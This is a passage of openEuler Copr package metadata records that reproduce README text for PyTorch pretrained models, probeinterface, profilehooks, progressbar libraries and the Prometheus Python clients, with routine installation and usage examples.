  - `inceptionresnetv2(num_classes=1000, pretrained='imagenet')`
  - `inceptionresnetv2(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv4(num_classes=1000, pretrained='imagenet')`
  - `inceptionv4(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv3(num_classes=1000, pretrained='imagenet')`

  Source: [Trained with Caffe](https://github.com/Cadene/tensorflow-model-zoo.torch/pull/2) by [Xiong Yuanjun](http://yjxiong.me)
  - `bninception(num_classes=1000, pretrained='imagenet')`

  Source: [ResNeXt repo of FaceBook](https://github.com/facebookresearch/ResNeXt)
  - `resnext101_32x4d(num_classes=1000, pretrained='imagenet')`
  - `resnext101_62x4d(num_classes=1000, pretrained='imagenet')`

  Source: [MXNET repo of Chen Yunpeng](https://github.com/cypw/DPNs)
  The porting has been made possible by [Ross Wightman](http://rwightman.com) in his [PyTorch repo](https://github.com/rwightman/pytorch-dpn-pretrained).
  As you can see [here](https://github.com/rwightman/pytorch-dpn-pretrained) DualPathNetworks allows you to try different scales. The default one in this repo is 0.875 meaning that the original input size is 256 before croping to 224.
  - `dpn68(num_classes=1000, pretrained='imagenet')`
  - `dpn98(num_classes=1000, pretrained='imagenet')`
  - `dpn131(num_classes=1000, pretrained='imagenet')`
  - `dpn68b(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn92(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn107(num_classes=1000, pretrained='imagenet+5k')`
  `'imagenet+5k'` means that the network has been pretrained on imagenet5k before being finetuned on imagenet1k.

  Source: [Keras repo](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py)
  The porting has been made possible by [T Standley](https://github.com/tstandley/Xception-PyTorch).
  - `xception(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of Jie Hu](https://github.com/hujie-frank/SENet)
  - `senet154(num_classes=1000, pretrained='imagenet')`
  - `se_resnet50(num_classes=1000, pretrained='imagenet')`
  - `se_resnet101(num_classes=1000, pretrained='imagenet')`
  - `se_resnet152(num_classes=1000, pretrained='imagenet')`
  - `se_resnext50_32x4d(num_classes=1000, pretrained='imagenet')`
  - `se_resnext101_32x4d(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `pnasnet5large(num_classes=1000, pretrained='imagenet')`
  - `pnasnet5large(num_classes=1001, pretrained='imagenet+background')`

  Source: [Caffe repo of the CUHK Multimedia Lab](https://github.com/CUHK-MMLAB/polynet)
  - `polynet(num_classes=1000, pretrained='imagenet')`

  Source: [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision)
  (`inceptionv3` included in [Inception*](https://github.com/Cadene/pretrained-models.pytorch#inception))
  - `resnet18(num_classes=1000, pretrained='imagenet')`
  - `resnet34(num_classes=1000, pretrained='imagenet')`
  - `resnet50(num_classes=1000, pretrained='imagenet')`
  - `resnet101(num_classes=1000, pretrained='imagenet')`
  - `resnet152(num_classes=1000, pretrained='imagenet')`
  - `densenet121(num_classes=1000, pretrained='imagenet')`
  - `densenet161(num_classes=1000, pretrained='imagenet')`
  - `densenet169(num_classes=1000, pretrained='imagenet')`
  - `densenet201(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_0(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_1(num_classes=1000, pretrained='imagenet')`
  - `alexnet(num_classes=1000, pretrained='imagenet')`
  - `vgg11(num_classes=1000, pretrained='imagenet')`
  - `vgg13(num_classes=1000, pretrained='imagenet')`
  - `vgg16(num_classes=1000, pretrained='imagenet')`
  - `vgg19(num_classes=1000, pretrained='imagenet')`
  - `vgg11_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg13_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg16_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg19_bn(num_classes=1000, pretrained='imagenet')`

  Once a pretrained model has been loaded, you can use it that way.
  **Important note**: All image must be loaded using `PIL` which scales the pixel values between 0 and 1.

  Attribut of type `list` composed of 3 numbers:
  - number of color channels,
  - height of the input image,
  - width of the input image.
  Example:
  - `[3, 299, 299]` for inception* networks,
  - `[3, 224, 224]` for resnet* networks.

  Attribut of type `str` representating the color space of the image. Can be `RGB` or `BGR`.

  Attribut of type `list` composed of 2 numbers:
  - min pixel value,
  - max pixel value.
  Example:
  - `[0, 1]` for resnet* and inception* networks,
  - `[0, 255]` for bninception network.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (substract "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.485, 0.456, 0.406]` for resnet* networks.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (divide "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.229, 0.224, 0.225]` for resnet* networks.

  /!\ work in progress (may not be available)
  Method which is used to extract the features from the image.
  Example when the model is loaded using `fbresnet152`:
  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)

  output = model.features(input_448)

  ```

  /!\ work in progress (may not be available)
  Method which is used to classify the features from the image.
  Example when the model is loaded using `fbresnet152`:
  ```python
  output = model.features(input_224)
  print(output.size())               # (1,2048, 1, 1)
  output = model.logits(output)
  print(output.size())               # (1,1000)
  ```

  Method used to call `model.features` and `model.logits`. It can be overwritten as desired.
  **Note**: A good practice is to use `model.__call__` as your function of choice to forward an input to your model. See the example bellow.
  ```python

  output = model.forward(input_224)
  print(output.size())      # (1,1000)

  output = model(input_224)
  print(output.size())      # (1,1000)
  ```

  Attribut of type `nn.Linear`. This module is the last one to be called during the forward pass.
  - Can be replaced by an adapted `nn.Linear` for fine tuning.
  - Can be replaced by `pretrained.utils.Identity` for features extraction.
  Example when the model is loaded using `fbresnet152`:
  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)
  output = model.logits(output)
  print(output.size())               # (1,1000)

  dim_feats = model.last_linear.in_features # =2048
  nb_classes = 4
  model.last_linear = nn.Linear(dim_feats, nb_classes)
  output = model(input_224)
  print(output.size())               # (1,4)

  model.last_linear = pretrained.utils.Identity()
  output = model(input_224)
  print(output.size())               # (1,2048)
  ```


  ```
  th pretrainedmodels/fbresnet/resnet152_dump.lua
  python pretrainedmodels/fbresnet/resnet152_load.py
  ```

  https://github.com/clcarwin/convert_torch_to_pytorch

  https://github.com/Cadene/tensorflow-model-zoo.torch

  Thanks to the deep learning community and especially to the contributers of the pytorch ecosystem.


pkgId: 902c65663e64ce919aecd128540cb42a27b18e922cc820bb7290a9c7d68049cb
name: python-probeinterface
arch: src
version: 0.2.16
epoch: 0
release: 1
summary: Python package to handle probe layout, geometry and wiring to device.
url: https://pypi.org/project/probeinterface/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-be9be050-d10c-4461-8c96-ed1854ec0888
location_href: 00012472-python-probeinterface/python-probeinterface-0.2.16-1.src.rpm
checksum_type: sha256
description:
  A Python package to handle the layout, geometry, and wiring of silicon probes for extracellular electrophysiology experiments.

  Documentation : https://probeinterface.readthedocs.io/




  Make a lightweight package to handle:

    * probe contact geometry (both 2D and 3D layouts)
    * probe shape (contour of the probe, shape of channel contact, ...)
    * probe wiring to device (the physical layout often doesn't match the channel ordering)
    * combining several probes into a device with global geometry + global wiring
    * exporting probe geometry data into JSON files
    * loading existing probe geometry files (Neuronexus, imec, Cambridge Neurotech...) [Started here](https://gin.g-node.org/spikeinterface/probeinterface_library)

  Bonus :

    * optional plotting (based on `matplotlib`)
    * load/save geometry using common formats (PRB, CSV, NWB, ...)
    * handle SI length units correctly um/mm/...


  Target users/projet :

    * spikeinterface team : integrate this into spikeextractor for channel location
    * neo team : handle array_annotations for AnalogSignal
    * spikeforest team : use this package for ploting probe activity
    * phy team: integrate for probe display
    * spyking-circus team : handle probe with this package
    * kilosort team : handle probe with this package
    * tridesclous team : handle probe with this package
    * open ephys team : automatically generate channel map configuration files


   Author: Samuel Garcia


pkgId: 4ce1c3c1403a99a17489f4f30e761e72b05307963d4255f06683f26f744fe970
name: python-productivity
arch: src
version: 0.8.1
epoch: 0
release: 1
summary: Python driver for AutomationDirect Productivity Series PLCs.
url: http://github.com/numat/productivity/
rpm_license: GPLv2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c73c4371-d190-42ec-8c7e-a2fec9a75f09
location_href: 00004602-python-productivity/python-productivity-0.8.1-1.src.rpm
checksum_type: sha256
description:
  Python ≥3.7 driver and command-line tool for [AutomationDirect Productivity Series PLCs](https://www.automationdirect.com/adc/overview/catalog/programmable_controllers/productivity_series_controllers).
  <p align="center">
    <img src="https://www.automationdirect.com/images/overviews/p-series-cpus_400.jpg" />
  </p>


pkgId: a8dd3fcfd3c8a04fa7edcc8c03e084a8d88037a7fbee5d9b019c70dbc99d2902
name: python-profilehooks
arch: src
version: 1.12.0
epoch: 0
release: 1
summary: Decorators for profiling/timing/tracing individual functions
url: https://mg.pov.lt/profilehooks/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a3fa198a-cf25-4777-b3dd-9637a59364ad
location_href: 00004603-python-profilehooks/python-profilehooks-1.12.0-1.src.rpm
checksum_type: sha256
description:
  It's a collection of decorators for profiling functions.  E.g. to profile a
  single function::
      from profilehooks import profile
      @profile
      def my_function(args, etc):
          pass
  The results will be printed when the program exits (or you can use
  ``@profile(immediate=True)``).
  If you're interested in coarse timings and don't want to pay for the overhead
  of profiling, use ::
      from profilehooks import timecall
      @timecall       # or @timecall(immediate=True)
      def my_function(args, etc):
          pass
  Finally, you may be interested in seeing line coverage for a single function ::
      from profilehooks import coverage
      @coverage
      def my_function(args, etc):
          pass
  Also functions can be available in Python console or module if run it with -m arg ::
       $ python -m profilehooks
       >>> profile
       <function profile at 0x1005c6488>
       $ python -m profilehooks yourmodule
  Full documentation is available through ``pydoc profilehooks`` after
  installation.
  The home page for this module is https://mg.pov.lt/profilehooks.  It has
  screensho, uh, that is, more examples.


pkgId: a8fab2592bad94677c33eca6593a0a360224931ac767588d5f4c2195947ec7ac
name: python-proglog
arch: src
version: 0.1.10
epoch: 0
release: 1
summary: Log and progress bar manager for console, notebooks, web...
url: https://pypi.org/project/proglog/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a9a7a9cc-9215-4e27-89c0-3da5af5b9d16
location_href: 00009507-python-proglog/python-proglog-0.1.10-1.src.rpm
checksum_type: sha256
description:
  Proglog is a progress logging system for Python. It allows to build complex
  libraries while giving the user control on the management of logs, callbacks and progress bars.


pkgId: 9b7b875df9cb75d9d3e2082ff6a62db2954571200b4586626d247cfd15996408
name: python-progressbar
arch: src
version: 2.5
epoch: 0
release: 1
summary: Text progress bar library for Python.
url: http://code.google.com/p/python-progressbar
rpm_license: LICENSE.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2ff2d58a-6793-4c10-ab0a-2fcdf89c9890
location_href: 00011151-python-progressbar/python-progressbar-2.5-1.src.rpm
checksum_type: sha256
description:
  Text progress bar library for Python.

  A text progress bar is typically used to display the progress of a long
  running operation, providing a visual cue that processing is underway.

  The ProgressBar class manages the current progress, and the format of the line
  is given by a number of widgets. A widget is an object that may display
  differently depending on the state of the progress bar. There are three types
  of widgets:
   - a string, which always shows itself

   - a ProgressBarWidget, which may return a different value every time its
     update method is called

   - a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it
     expands to fill the remaining width of the line.

  The progressbar module is very easy to use, yet very powerful. It will also
  automatically enable features like auto-resizing when the system supports it.


pkgId: 8d950e82d89d629d856638f1666584e67ba61586b00fd260f0145d26aa2520f2
name: python-progressbar2
arch: src
version: 4.2.0
epoch: 0
release: 1
url: https://github.com/WoLpH/python-progressbar
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6f16776e-e04c-4913-b3da-a7abce8718c5
location_href: 00009319-python-progressbar2/python-progressbar2-4.2.0-1.src.rpm
checksum_type: sha256
summary:
  A Python Progressbar library to provide visual (yet text based) progress to long running operations.

description:
      import time
      import progressbar
      for i in progressbar.progressbar(range(100)):
          time.sleep(0.02)


pkgId: 606ee79e909ab1278db44a77be2794041fb38b04cdce6518bd8c95bf096dcb73
name: python-prometheus-api-client
arch: src
version: 0.5.3
epoch: 0
release: 1
summary: A small python api to collect data from prometheus
url: https://github.com/4n4nd/prometheus-api-client-python
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-11ac690b-ebad-4542-8e86-7baa47c310da
location_href: 00012939-python-prometheus-api-client/python-prometheus-api-client-0.5.3-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/prometheus-api-client.svg)](https://badge.fury.io/py/prometheus-api-client) [![PyPI download month](https://img.shields.io/pypi/dm/prometheus-api-client.svg)](https://pypi.python.org/pypi/prometheus-api-client/)

  A Python wrapper for the Prometheus http api and some tools for metrics processing.



  To install the latest release:

  `pip install prometheus-api-client`

  To install directly from this branch:

  `pip install https://github.com/4n4nd/prometheus-api-client-python/zipball/master`



  - [Slack](https://join.slack.com/share/zt-kw3v8t1e-hbcVH7X7bXORiQuQtsNZ4A)
  - [Google Chat](https://chat.google.com/room/AAAAzFPwq5s)
  - [Documentation](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html)




  [Prometheus](https://prometheus.io/), a Cloud Native Computing Foundation project, is a systems and service monitoring system. It collects metrics (time series data) from configured targets at given intervals, evaluates rule expressions, displays the results, and can trigger alerts if some condition is observed to be true. The raw time series data obtained from a Prometheus host can sometimes be hard to interpret. To help better understand these metrics we have created a Python wrapper for the Prometheus http api for easier metrics processing and analysis.

  The `prometheus-api-client` library consists of multiple modules which assist in connecting to a Prometheus host, fetching the required metrics and performing various aggregation operations on the time series data.


  The `PrometheusConnect` module of the library can be used to connect to a Prometheus host. This module is essentially a class created for the collection of metrics from a Prometheus host. It stores the following connection parameters:

  -   **url** - (str) url for the prometheus host
  -   **headers** – (dict) A dictionary of http headers to be used to communicate with the host. Example: {“Authorization”: “bearer my_oauth_token_to_the_host”}
  -   **disable_ssl** – (bool) If set to True, will disable ssl certificate verification for the http requests made to the prometheus host

  ```python
  from prometheus_api_client import PrometheusConnect
  prom = PrometheusConnect(url ="<prometheus-host>", disable_ssl=True)


  prom.all_metrics()
  ```

  You can also fetch the time series data for a specific metric using custom queries as follows:

  ```python
  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  prom.get_current_metric_value(metric_name='up', label_config=my_label_config)


  prom.custom_query(query="prometheus_http_requests_total")


  prom.custom_query(query="sum(prometheus_http_requests_total)")
  ```

  We can also use custom queries for fetching the metric data in a specific time interval. For example, let's try to fetch the past 2 days of data for a particular metric in chunks of 1 day:

  ```python

  from prometheus_api_client.utils import parse_datetime
  from datetime import timedelta

  start_time = parse_datetime("2d")
  end_time = parse_datetime("now")
  chunk_size = timedelta(days=1)

  metric_data = prom.get_metric_range_data(
      "up{cluster='my_cluster_id'}",  # this is the metric name and label config
      start_time=start_time,
      end_time=end_time,
      chunk_size=chunk_size,
  )
  ```

  For more functions included in the `PrometheusConnect` module, refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html#module-prometheus_api_client.prometheus_connect)


  The `MetricsList` module initializes a list of Metric objects for the metrics fetched from a Prometheus host as a result of a promql query.

  ```python

  from prometheus_api_client import PrometheusConnect, MetricsList, Metric

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  metric_data = prom.get_metric_range_data(metric_name='up', label_config=my_label_config)

  metric_object_list = MetricsList(metric_data) # metric_object_list will be initialized as
                                                
                                                


  for item in metric_object_list:
      print(item.metric_name, item.label_config, "\n")
  ```

  Each of the items in the `metric_object_list` are initialized as a `Metric` class object. Let's look at one of the metrics from the `metric_object_list` to learn more about the `Metric` class:

  ```python
  my_metric_object = metric_object_list[1] # one of the metrics from the list
  print(my_metric_object)
  ```

  For more functions included in the `MetricsList` and `Metrics` module, refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html#module-prometheus_api_client.metric)


  The `Metric` class also supports multiple functions such as adding, equating and plotting various metric objects.


  You can add add two metric objects for the same time-series as follows:

  ```python
  metric_1 = Metric(metric_data_1)
  metric_2 = Metric(metric_data_2)
  metric_12 = metric_1 + metric_2 # will add the data in ``metric_2`` to ``metric_1``
                                  
                                  
                                  
  ```


  Overloading operator =, to check whether two metrics are the same (are the same time-series regardless of their data)
  ```python
  metric_1 = Metric(metric_data_1)
  metric_2 = Metric(metric_data_2)
  print(metric_1 == metric_2) # will print True if they belong to the same time-series
  ```


  Plot a very simple line graph for the metric time series:

  ```python
  from prometheus_api_client import PrometheusConnect, MetricsList, Metric

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  metric_data = prom.get_metric_range_data(metric_name='up', label_config=my_label_config)

  metric_object_list = MetricsList(metric_data)
  my_metric_object = metric_object_list[1] # one of the metrics from the list
  my_metric_object.plot()
  ```


  To perform data analysis and manipulation, it is often helpful to have the data represented using a [pandas DataFrame](https://pandas.pydata.org/docs/user_guide/dsintro.html#dataframe). There are two modules in this library that can be used to process the raw metrics fetched into a DataFrame.

  The `MetricSnapshotDataFrame` module converts "current metric value" data to a DataFrame representation, and the `MetricRangeDataFrame` converts "metric range values" data to a DataFrame representation. Example usage of these classes can be seen below:

  ```python
  import datetime as dt
  from prometheus_api_client import PrometheusConnect,  MetricSnapshotDataFrame, MetricRangeDataFrame

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}


  metric_data = prom.get_current_metric_value(
      metric_name='up',
      label_config=my_label_config,
  )
  metric_df = MetricSnapshotDataFrame(metric_data)
  metric_df.head()
  """ Output:
  +-------------------------+-----------------+------------+-------+
  | __name__ | cluster      | label_2         | timestamp  | value |
  +==========+==============+=================+============+=======+
  | up       | cluster_id_0 | label_2_value_2 | 1577836800 | 0     |
  +-------------------------+-----------------+------------+-------+
  | up       | cluster_id_1 | label_2_value_3 | 1577836800 | 1     |
  +-------------------------+-----------------+------------+-------+
  """


  metric_data = prom.get_metric_range_data(
      metric_name='up',
      label_config=my_label_config,
      start_time=(dt.datetime.now() - dt.timedelta(minutes=30)),
      end_time=dt.datetime.now(),
  )
  metric_df = MetricRangeDataFrame(metric_data)
  metric_df.head()
  """ Output:
  +------------+------------+-----------------+--------------------+-------+
  |            |  __name__  | cluster         | label_2            | value |
  +-------------------------+-----------------+--------------------+-------+
  | timestamp  |            |                 |                    |       |
  +============+============+=================+====================+=======+
  | 1577836800 | up         | cluster_id_0    | label_2_value_2    | 0     |
  +-------------------------+-----------------+--------------------+-------+
  | 1577836801 | up         | cluster_id_1    | label_2_value_3    | 1     |
  +-------------------------+-----------------+------------=-------+-------+
  """
  ```


  For more functions included in the `prometheus-api-client` library, please refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html)



  `PROM_URL="http://demo.robustperception.io:9090/" pytest`



  Prometheus Api client uses [pre-commit](https://pre-commit.com) framework to maintain the code linting and python code styling.<br>
  The AICoE-CI would run the pre-commit check on each pull request.<br>
  We encourage our contributors to follow the same pattern, while contributing to the code.<br>
  we would like to keep the same standard and maintain the code for better quality and readability.

  The pre-commit configuration file is present in the repository `.pre-commit-config.yaml`<br>
  It contains the different code styling and linting guide which we use for the application.

  we just need to run [pre-commit](https://pre-commit.com/#install) before raising a Pull Request.<br>
  Following command can be used to run the pre-commit:<br>
  `pre-commit run --all-files`

  If pre-commit is not installed in your system, it can be install with : `pip install pre-commit`


pkgId: ddbcc7b4993f12747b9b681e6402cfb579a21126e4c1c0712ef5430ad0692672
name: python-prometheus-client
arch: src
version: 0.16.0
epoch: 0
release: 1
summary: Python client for the Prometheus monitoring system.
url: https://github.com/prometheus/client_python
rpm_license: Apache Software License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9feb04d0-e54f-4f23-952b-f35ae4e8e447
location_href: 00004605-python-prometheus_client/python-prometheus-client-0.16.0-1.src.rpm
checksum_type: sha256
description:
  The official Python client for [Prometheus](https://prometheus.io).



  **One**: Install the client:
  ```
  pip install prometheus-client
  ```

  **Two**: Paste the following into a Python interpreter:
  ```python
  from prometheus_client import start_http_server, Summary
  import random
  import time


  REQUEST_TIME = Summary('request_processing_seconds', 'Time spent processing request')


  @REQUEST_TIME.time()
  def process_request(t):
      """A dummy function that takes some time."""
      time.sleep(t)

  if __name__ == '__main__':
      
      start_http_server(8000)
      
      while True:
          process_request(random.random())
  ```

  **Three**: Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  From one easy to use decorator you get:
    * `request_processing_seconds_count`: Number of times this function was called.
    * `request_processing_seconds_sum`: Total amount of time spent in this function.

  Prometheus's `rate` function allows calculation of both requests per second,
  and latency over time from this data.

  In addition if you're on Linux the `process` metrics expose CPU, memory and
  other information about the process for free!



  ```
  pip install prometheus-client
  ```

  This package can be found on
  [PyPI](https://pypi.python.org/pypi/prometheus_client).



  Four types of metric are offered: Counter, Gauge, Summary and Histogram.
  See the documentation on [metric types](http://prometheus.io/docs/concepts/metric_types/)
  and [instrumentation best practices](https://prometheus.io/docs/practices/instrumentation/#counter-vs-gauge-summary-vs-histogram)
  on how to use them.



  Counters go up, and reset when the process restarts.


  ```python
  from prometheus_client import Counter
  c = Counter('my_failures', 'Description of counter')
  c.inc()     # Increment by 1
  c.inc(1.6)  # Increment by given value
  ```

  If there is a suffix of `_total` on the metric name, it will be removed. When
  exposing the time series for counter, a `_total` suffix will be added. This is
  for compatibility between OpenMetrics and the Prometheus text format, as OpenMetrics
  requires the `_total` suffix.

  There are utilities to count exceptions raised:

  ```python
  @c.count_exceptions()
  def f():
    pass

  with c.count_exceptions():
    pass


  with c.count_exceptions(ValueError):
    pass
  ```



  Gauges can go up and down.

  ```python
  from prometheus_client import Gauge
  g = Gauge('my_inprogress_requests', 'Description of gauge')
  g.inc()      # Increment by 1
  g.dec(10)    # Decrement by given value
  g.set(4.2)   # Set to a given value
  ```

  There are utilities for common use cases:

  ```python
  g.set_to_current_time()   # Set to current unixtime


  @g.track_inprogress()
  def f():
    pass

  with g.track_inprogress():
    pass
  ```

  A Gauge can also take its value from a callback:

  ```python
  d = Gauge('data_objects', 'Number of objects')
  my_dict = {}
  d.set_function(lambda: len(my_dict))
  ```



  Summaries track the size and number of events.

  ```python
  from prometheus_client import Summary
  s = Summary('request_latency_seconds', 'Description of summary')
  s.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  There are utilities for timing code:

  ```python
  @s.time()
  def f():
    pass

  with s.time():
    pass
  ```

  The Python client doesn't store or expose quantile information at this time.



  Histograms track the size and number of events in buckets.
  This allows for aggregatable calculation of quantiles.

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  The default buckets are intended to cover a typical web/rpc request from milliseconds to seconds.
  They can be overridden by passing `buckets` keyword argument to `Histogram`.

  There are utilities for timing code:

  ```python
  @h.time()
  def f():
    pass

  with h.time():
    pass
  ```



  Info tracks key-value information, usually about a whole target.

  ```python
  from prometheus_client import Info
  i = Info('my_build_version', 'Description of info')
  i.info({'version': '1.2.3', 'buildhost': 'foo@bar'})
  ```



  Enum tracks which of a set of states something is currently in.

  ```python
  from prometheus_client import Enum
  e = Enum('my_task_state', 'Description of enum',
          states=['starting', 'running', 'stopped'])
  e.state('running')
  ```



  All metrics can have labels, allowing grouping of related time series.

  See the best practices on [naming](http://prometheus.io/docs/practices/naming/)
  and [labels](http://prometheus.io/docs/practices/instrumentation/#use-labels).

  Taking a counter as an example:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  c.labels('post', '/submit').inc()
  ```

  Labels can also be passed as keyword-arguments:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels(method='get', endpoint='/').inc()
  c.labels(method='post', endpoint='/submit').inc()
  ```

  Metrics with labels are not initialized when declared, because the client can't
  know what values the label can have. It is recommended to initialize the label
  values by calling the `.labels()` method alone:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/')
  c.labels('post', '/submit')
  ```



  Exemplars can be added to counter and histogram metrics. Exemplars can be
  specified by passing a dict of label value pairs to be exposed as the exemplar.
  For example with a counter:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc(exemplar={'trace_id': 'abc123'})
  c.labels('post', '/submit').inc(1.0, {'trace_id': 'def456'})
  ```

  And with a histogram:

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7, {'trace_id': 'abc123'})
  ```



  By default counters, histograms, and summaries export an additional series
  suffixed with `_created` and a value of the unix timestamp for when the metric
  was created. If this information is not helpful, it can be disabled by setting
  the environment variable `PROMETHEUS_DISABLE_CREATED_SERIES=True`.



  The Python client automatically exports metrics about process CPU usage, RAM,
  file descriptors and start time. These all have the prefix `process`, and
  are only currently available on Linux.

  The namespace and pid constructor arguments allows for exporting metrics about
  other processes, for example:
  ```
  ProcessCollector(namespace='mydaemon', pid=lambda: open('/var/run/daemon.pid').read())
  ```



  The client also automatically exports some metadata about Python. If using Jython,
  metadata about the JVM in use is also included. This information is available as
  labels on the `python_info` metric. The value of the metric is 1, since it is the
  labels that carry information.



  By default the collected `process`, `gc`, and `platform` collector metrics are exported.
  If this information is not helpful, it can be disabled using the following:
  ```python
  import prometheus_client

  prometheus_client.REGISTRY.unregister(prometheus_client.GC_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PLATFORM_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PROCESS_COLLECTOR)
  ```



  There are several options for exporting metrics.



  Metrics are usually exposed over HTTP, to be read by the Prometheus server.

  The easiest way to do this is via `start_http_server`, which will start a HTTP
  server in a daemon thread on the given port:

  ```python
  from prometheus_client import start_http_server

  start_http_server(8000)
  ```

  Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  To add Prometheus exposition to an existing HTTP server, see the `MetricsHandler` class
  which provides a `BaseHTTPRequestHandler`. It also serves as a simple example of how
  to write a custom endpoint.



  To use prometheus with [twisted](https://twistedmatrix.com/), there is `MetricsResource` which exposes metrics as a twisted resource.

  ```python
  from prometheus_client.twisted import MetricsResource
  from twisted.web.server import Site
  from twisted.web.resource import Resource
  from twisted.internet import reactor

  root = Resource()
  root.putChild(b'metrics', MetricsResource())

  factory = Site(root)
  reactor.listenTCP(8000, factory)
  reactor.run()
  ```



  To use Prometheus with [WSGI](http://wsgi.readthedocs.org/en/latest/), there is
  `make_wsgi_app` which creates a WSGI application.

  ```python
  from prometheus_client import make_wsgi_app
  from wsgiref.simple_server import make_server

  app = make_wsgi_app()
  httpd = make_server('', 8000, app)
  httpd.serve_forever()
  ```

  Such an application can be useful when integrating Prometheus metrics with WSGI
  apps.

  The method `start_wsgi_server` can be used to serve the metrics through the
  WSGI reference implementation in a new thread.

  ```python
  from prometheus_client import start_wsgi_server

  start_wsgi_server(8000)
  ```

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_wsgi_app(disable_compression=True)
  ```



  To use Prometheus with [ASGI](http://asgi.readthedocs.org/en/latest/), there is
  `make_asgi_app` which creates an ASGI application.

  ```python
  from prometheus_client import make_asgi_app

  app = make_asgi_app()
  ```
  Such an application can be useful when integrating Prometheus metrics with ASGI
  apps.

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_asgi_app(disable_compression=True)
  ```



  To use Prometheus with [Flask](http://flask.pocoo.org/) we need to serve metrics through a Prometheus WSGI application. This can be achieved using [Flask's application dispatching](http://flask.pocoo.org/docs/latest/patterns/appdispatch/). Below is a working example.

  Save the snippet below in a `myapp.py` file

  ```python
  from flask import Flask
  from werkzeug.middleware.dispatcher import DispatcherMiddleware
  from prometheus_client import make_wsgi_app


  app = Flask(__name__)


  app.wsgi_app = DispatcherMiddleware(app.wsgi_app, {
      '/metrics': make_wsgi_app()
  })
  ```

  Run the example web application like this

  ```bash

  pip install uwsgi
  uwsgi --http 127.0.0.1:8000 --wsgi-file myapp.py --callable app
  ```

  Visit http://localhost:8000/metrics to see the metrics



  The [textfile collector](https://github.com/prometheus/node_exporter#textfile-collector)
  allows machine-level statistics to be exported out via the Node exporter.

  This is useful for monitoring cronjobs, or for writing cronjobs to expose metrics
  about a machine system that the Node exporter does not support or would not make sense
  to perform at every scrape (for example, anything involving subprocesses).

  ```python
  from prometheus_client import CollectorRegistry, Gauge, write_to_textfile

  registry = CollectorRegistry()
